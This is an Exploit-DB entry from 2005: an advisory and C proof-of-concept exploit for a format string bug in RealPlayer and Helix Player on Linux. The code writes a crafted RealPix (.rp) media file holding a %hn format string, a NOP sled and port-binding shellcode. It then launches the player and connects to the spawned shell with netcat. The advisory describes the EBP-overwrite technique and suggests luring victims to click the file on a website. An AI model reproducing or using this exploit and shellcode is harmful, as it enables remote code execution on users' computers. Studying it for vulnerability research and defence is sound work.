RealPlayer/Helix Player (Linux) - Remote Format String

EDB-ID:

1232


Author:

c0ntex

Type:

remote


Platform:

Linux

Date:

2005-09-26


/*
  *****************************************************************************************************************
  $ An open security advisory #13 - RealPlayer and Helix Player Remote Format String Exploit
  *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: September 26th 2005
  3: Bug Impact Rate: Hi
  4: Bug Scope Rate: Remote
  *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
  *****************************************************************************************************************

  UNIX RealPlayer && Helix Player
  http://real.com
  http://helixcommunity.org

  "The Helix Player is the Helix Community's open source media player for consumers. It is being developed
  to have a rich and usable graphical interface and support a variety of open media formats like Ogg Vorbis,
  Theora etc. 
  The RealPlayer for Linux is built on top of the Helix Player for Linux and includes support for several
  non-open source components including RealAudio/RealVideo, MP3 etc."

  There is a remotly exploitable format string vulnerability in the latest Helix Media Player suit that will
  allow an attacker the possibility to execute malicious code on a victims computer. The exploit code will
  execute a remote shell under the permissions of the user running the media player, and effects all versions
  of RealPlayer and Helix Player.

  The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) file formats. Although
  others may be effected I stick to realpix file format for this advisory.

  Almost all media file input is placed on the heap, so it's not possible to just pop our way to a supplied
  string like with a normal stack based format bug, as such we can't directly modify GOT, DTORS, etc. leaving
  us limited to what we can do.

  There are several places where we can control the flow of execution:

       popN - call *0x04(eax) - eax is controlled
       popN+N - call *0x20(eax) - eax is controlled
       popN+NN - call *0x100(edx) - edx is controlled
       popN+NNN - ebp - ebp is controlled
       popN+NNNN - eip - eip is controlled
       ....

  however since we are limited to the size of the value that can be written, it doesn't seem possible to
  point at a known good location directly. Since our shellcode is always mapped via the .rp file between
  0x0822**** - 0x082f**** and with control of one pointer at a time usually, we can not reach the LSB, we
  are toast.

  In a phrack paper, Riq talks about using sections of the base pointer to create a 4 byte pointer by
  chaining EBP like so:

  [Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]

  And can be manipulated something like so:

  --------     --------     --------
  Frame 10     Frame 11     Frame 12
  --------     --------     --------
                1|------------\/
  [LSBMSB]     [LSBMSB]--   [41414141]
      2|____________^  3|__________^ 

  Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it ends with EIP pointing at 0x00000000.

  So what else can I do?

  How about use the fact the file being played is under my control and only the MSB needs overwritten. This
  solves the problem with the size of the valaue I can write. It is possible to modify the MSB of an EBP
  that is reachable, eventually leading to EIP pointing at some good location after "mov %ebp,%esp" happens,
  resulting in the execution of our shellcode.

	1-> Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
	2-> Overwrite EBP MSB with the address of the file location on the stack
	3-> EBP is moved to ESP
	4-> EIP is changed to ESP value
	5-> EIP is owned, shell is spawned

  Granted this is not a stable method as the user can freely manipulate their environment, and we use the
  file name, which is stored in an environment variable to trampoline us to the shellcode. However my goal
  here is not to create a worm but a proof-of-concept  :p 

  The supplied POC should work flawlessly on Debian 3.1, with RealPlayer installed in /usr/local/RealPlayer
  and run as shown below.

  Sample local run:

  Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

  Window 1:
  ---------
  c0ntex@debauch:~$ netstat -an --ip
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address           Foreign Address         State
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
  tcp        0      0 192.168.88.133:22       192.168.88.1:2080       ESTABLISHED
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  c0ntex@debauch:~$ ./helix4real

  Remote format string exploit POC for UNIX RealPlayer && HelixPlayer
  Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version
  by c0ntex || c0ntexb@gmail.com || http://www.open-security.org

  [-] Creating file [VY~Ò.rp]
  [-] Using [148] stack pops
  [-] Modifying EBP MSB with value [64105]
  [-] Completed creation of test file!
  [-] Executing RealPlayer now...
  [-] Connecting to shell in 10 seconds
  ** YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW ** 

  (realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

  (realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

  ps -ef | tail -12;
  ...
  c0ntex    1631  1624  0 01:10 pts/2    00:00:00 /bin/sh /usr/bin/realplay ./VYF&(?.rp
  c0ntex    1636  1631  4 01:10 pts/2    00:00:02 /bin//sh
  c0ntex    1637  1636  0 01:10 pts/2    00:00:00           ?   ²úÿ¿f   ? ?\    ?   ?       .rp
  c0ntex    1638  1637  0 01:10 pts/2    00:00:00           ?   ²úÿ¿f   ? ?\    ?   ?       .rp
  c0ntex    1639  1636  0 01:10 pts/2    00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
  c0ntex    1640  1636  0 01:10 pts/2    00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
  c0ntex    1641  1637  0 01:10 pts/2    00:00:00           ?   ²úÿ¿f   ? ?\    ?   ?       .rp
  c0ntex    1642  1637  0 01:10 pts/2    00:00:00           ?   ²úÿ¿f   ? ?\    ?   ?       .rp
  c0ntex    1643  1637  0 01:10 pts/2    00:00:00           ?   ²úÿ¿f   ? ?\    ?   ?       .rp
  ...

  To exploit this remotly, a user just needs to place the created file on a web site and provide a link so
  users can click the file, launching RealPlayer and exploiting the vulnerability.

  Real have been duely informed about this issue and are fixing. Sadly though, it seems someone is trying to
  pinch my research, as such I have been forced to release this advisory sooner than hoped. Until Real get
  a new release out, do not play untrusted media with RealPlayer or HelixPlayer. Sorry Real.com!

  Moral of the story, don't talk about personal research on IRC. Thank you plagiarizers.

  PS: A new RSS feed for the latest 5 Open Security Group Advisories, @ http://www.open-security.org/adv.xml
  is now available.

 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER          10000
#define EBPMSB          64105
#define HOST            "localhost"
#define NETCAT          "/bin/nc"
#define NOPS            0x90
#define STACKPOP        148
#define VULN            "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
                "\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
                "\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
                "\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
                "\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
                "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
                "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
                "\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
                "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
                "\xe1\xcd\x80";


int
filegen(char *shellcode)
{
     FILE *rp;

     printf("[-] Creating file [%s]\n", filename);

     rp = fopen(filename, "w");
     if(!rp) {
           puts("[!] Could not fopen file!");
           free(shellcode);
           return(EXIT_FAILURE);
     }

     printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value [%d]\n", STACKPOP, EBPMSB);

     fprintf(rp,
                     "<imfl>\n"
                     "<head\n"
                     "duration=\"1:33.7\"\n"
                     "timeformat=\"dd:hh:mm:ss.xyz\"\n"
                     "preroll=\"1:33.7\"\n"
                     "bitrate=\"1337\"\n"
                     "width=\"69\"\n"
                     "height=\"69\"\n"
                     "aspect=\"\"\n"
                     "url=\"http://www.open-security.org\"/>\n"
                     "<image handle=\"%%.%du%%%d$hn\" name=\"findme%s\"/>\n"
                     "<fadein start=\"0\" duration=\"0:01\" target=\"2\"/>\n"
                     "</imfl>", EBPMSB, STACKPOP, shellcode);
      fclose(rp);

      free(shellcode); shellcode = NULL;

      return(EXIT_SUCCESS);
}


int
main(int argc, char **argv)
{
     char *shellcode = NULL;

     puts("\nRemote format string exploit POC for UNIX RealPlayer && HelixPlayer");
     puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version");
     puts("by c0ntex || c0ntexb@gmail.com || http://www.open-security.org\n");

     shellcode = (char *)malloc(BUFFER);
     if(!shellcode) {
           puts("[!] Could not malloc");
           return(EXIT_FAILURE);
     }

     memset(shellcode, NOPS, BUFFER);
     memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode, strlen(hellcode));
     shellcode[BUFFER] = '\0';

     filegen(shellcode);

     puts("[-] Completed creation of test file!\n[-] Executing RealPlayer now...");

     switch(fork()) {
            case -1:
                    puts("[!] Could not fork off, bailing!");
                    return(EXIT_FAILURE);
            case 0:
                    if(execl(VULN, "realplay", filename, NULL) <0) {
                            puts("[!] Could not execute realplayer... :(");
                            return(EXIT_FAILURE);
                    }
     }

     puts("[-] Connecting to shell in 10 seconds\n** YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW **");
     sleep(10);

     if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
            puts("[!] Could not connect, check the core file!");
            return(EXIT_FAILURE);
     }

     return(EXIT_SUCCESS);
}

// milw0rm.com [2005-09-26]